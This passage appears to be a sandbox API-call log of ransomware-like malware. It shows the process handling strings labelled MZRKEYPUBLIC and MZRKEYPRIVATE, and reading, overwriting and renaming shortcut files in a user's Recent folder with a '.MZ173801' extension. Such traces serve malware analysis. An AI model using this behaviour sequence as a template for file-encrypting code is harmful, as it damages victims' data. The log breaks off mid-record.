lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.846] GetCurrentThreadId () returned 0xab4 [0148.846] GetCurrentThreadId () returned 0xab4 [0148.846] GetCurrentThreadId () returned 0xab4 [0148.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.846] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.846] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.846] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x342 [0148.846] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.846] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x342, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x342, lpOverlapped=0x0) returned 1 [0148.846] CloseHandle (hObject=0x280) returned 1 [0148.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.847] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x342, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x342, lpOverlapped=0x0) returned 1 [0148.848] CloseHandle (hObject=0x280) returned 1 [0148.851] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mrC2.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\mrc2.lnk.mz173801")) returned 1 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] GetCurrentThreadId () returned 0xab4 [0148.854] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24959a9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf24959a9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf24959a9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Music.lnk", cAlternateFileName="")) returned 1 [0148.854] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.854] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf24959a9, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf24959a9, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf24959a9, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x2de)) returned 1 [0148.854] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk")) returned 0x20 [0148.855] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk", dwFileAttributes=0x80) returned 1 [0148.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.858] GetCurrentThreadId () returned 0xab4 [0148.858] GetCurrentThreadId () returned 0xab4 [0148.858] GetCurrentThreadId () returned 0xab4 [0148.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.859] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.859] GetCurrentThreadId () returned 0xab4 [0148.859] GetCurrentThreadId () returned 0xab4 [0148.859] GetCurrentThreadId () returned 0xab4 [0148.859] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\music.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.859] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.859] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.860] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2de [0148.860] 